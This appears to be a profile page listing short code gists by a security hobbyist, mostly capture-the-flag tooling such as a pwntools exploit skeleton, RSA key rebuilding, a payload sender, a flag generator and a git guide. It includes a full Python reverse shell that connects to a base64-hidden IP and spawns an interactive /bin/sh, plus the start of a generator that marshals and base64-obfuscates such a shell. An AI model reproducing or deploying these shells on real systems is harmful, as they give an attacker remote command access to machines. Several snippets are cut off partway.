tunelko

#1. generate obfuscated marshalled b64 
import marshal, binascii, base64
IP = "127.0.0.1"
PORT = 1234
code = f"""
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("{IP}", {PORT}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)

tunelko

from pwn import * 

context(arch='x86_64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
LOCAL = False
REMOTETTCP = True
REMOTESSH = False
GDB = False

local_bin = "./climb"

tunelko

#!/usr/bin/python

import pyasn1.codec.der.encoder
import pyasn1.type.univ
import base64

# present values on key.pem 
e = 0x010001
n = 0xC4B07FEFC8E36C05C0DA434221AEBF47DBF70E5189AD892408F3AD81182A9E0700A07C9D7C66C86C7A39602123EE0F605613DE97FDE49FE68396EE0AF3F5F5F3
p = 106173580239682931389627142547722999257831171755485751420548914984291463023277

tunelko

import base64 
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((base64.b64decode("base64_str_IP"),4444))
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

tunelko

import socket
TCP_IP = '127.0.0.1'
TCP_PORT = 9999
BUFFER_SIZE = 1024
data = b"\x68\x16\x16\x68\x08\x00\x65\x81\x65\x00\x64\x00\x01\x01\x00\x1a\xb5\x13\x8b\x57\x07\x12\x00\x00\x00\x00\x96\x16"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(data)
s.close()

tunelko

#!/usr/bin/env python
import argparse
# from skeleton.users import models
# from sqlalchemy.exc import SQLAlchemyError
# from collections import Counter
import json
import sys
import requests

"""

tunelko

Guia para git dummies Crear el repositorio. Generar la key ssh:

ssh-keygen -t rsa -C "correo@dominio.com"

Copiar ~/.ssh/id_rsa.pub a la configuración de la cuenta de GitHub. Probar SSH:

ssh -T git@github.com

tunelko

#!/usr/bin/env python
"""
mediumRE from 
compare algorithm 

 for ( i = 0; strlen(input) > i && i <= 29; ++i )
  {
    if ( enc[i] == input[i] * fibo[i] + i )
      ++cnt;
  }

tunelko

#!/bin/bash
for flags in {1..45}; do echo "$flags: $(openssl rand -hex 16)" >> passwords && for lines in $(cut -f 2 -d ":" passwords); do echo "flag{$lines}" > /home/reto/flag_$flags.txt; done;done

tunelko

Keybase proof

I hereby claim:

• I am tunelko on github.
• I am tunelko (https://keybase.io/tunelko) on keybase.
• I have a public key whose fingerprint is A6A5 C4CE AE4F 79A0 0318 6B69 CF4D B1F3 89B4 55C5

To claim this, I am signing this object: